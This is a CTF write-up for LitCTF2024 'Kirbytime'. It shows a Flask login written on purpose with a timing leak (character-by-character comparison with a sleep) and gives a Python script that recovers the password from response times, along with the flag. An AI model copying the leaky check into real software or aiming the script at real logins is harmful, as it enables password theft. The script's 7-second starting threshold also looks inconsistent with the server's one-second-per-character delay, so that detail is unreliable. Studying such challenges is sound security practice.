LitCTF2024 | Kirbytime - ByteTheCookies

Introduction#

We find ourselves in front of a very pink Kirby-themed page, where we are asked to enter a password of 7 characters.

Source#

1
import sqlite3
2
from flask import Flask, request, redirect, render_template
3
import time
4
app = Flask(__name__)
5

6

7
@app.route('/', methods=['GET', 'POST'])
8
def login():
9
    message = None
10
    if request.method == 'POST':
11
        password = request.form['password']
12
        real = 'REDACTED'
13
        if len(password) != 7:
14
            return render_template('login.html', message="you need 7 chars")
15
        for i in range(len(password)):
16
            if password[i] != real[i]:
17
                message = "incorrect"
18
                return render_template('login.html', message=message)
19
            else:
20
                time.sleep(1)
21
        if password == real:
22
            message = "yayy! hi kirby"
23

24
    return render_template('login.html', message=message)
25

26

27
if __name__ == '__main__':
28
    app.run(host='0.0.0.0')

As we can see in the code at the ’/’ endpoint, when the method and post, it takes the password value from the form, checks the length to be 7 and starts iterating over each character to check if it is correct, it triggers a time.sleep(1) otherwise it returns an error.

Solution#

The solution is very simple, in fact we can compare it to a kind of time based, when the character is correct we know that the request will take n seconds to return depending on the number of correct characters. With this script we can easily find the flag, but only with a little patience (I recommend a cup of coffee in between).

1
import string
2
import requests
3

4
url = 'redacted'
5

6
alphabet = string.printable
7

8
length = 7
9

10
correct_flag = 'a' * length
11
correct_letter = 0
12
flag_list = list(correct_flag)
13
number_of_second_to_wait = 7
14
while (correct_letter != length):
15
    for letter in alphabet:
16
        flag_list[correct_letter] = letter
17
        flag = "".join(flag_list)
18
        print(flag)
19
        payload = {"password": flag}
20
        r = requests.post(url=url, data=payload)
21
        assert r.status_code == 200
22
        print("Time: ", r.elapsed.total_seconds())
23
        if r.elapsed.total_seconds() >= number_of_second_to_wait:
24
            correct_letter = correct_letter + 1
25
            number_of_second_to_wait += 1
26
            print(flag)
27
            break
28

29
print("Flag found: ", "LITCTF{" + flag + "}")

flag: LITCTF{kBySlaY}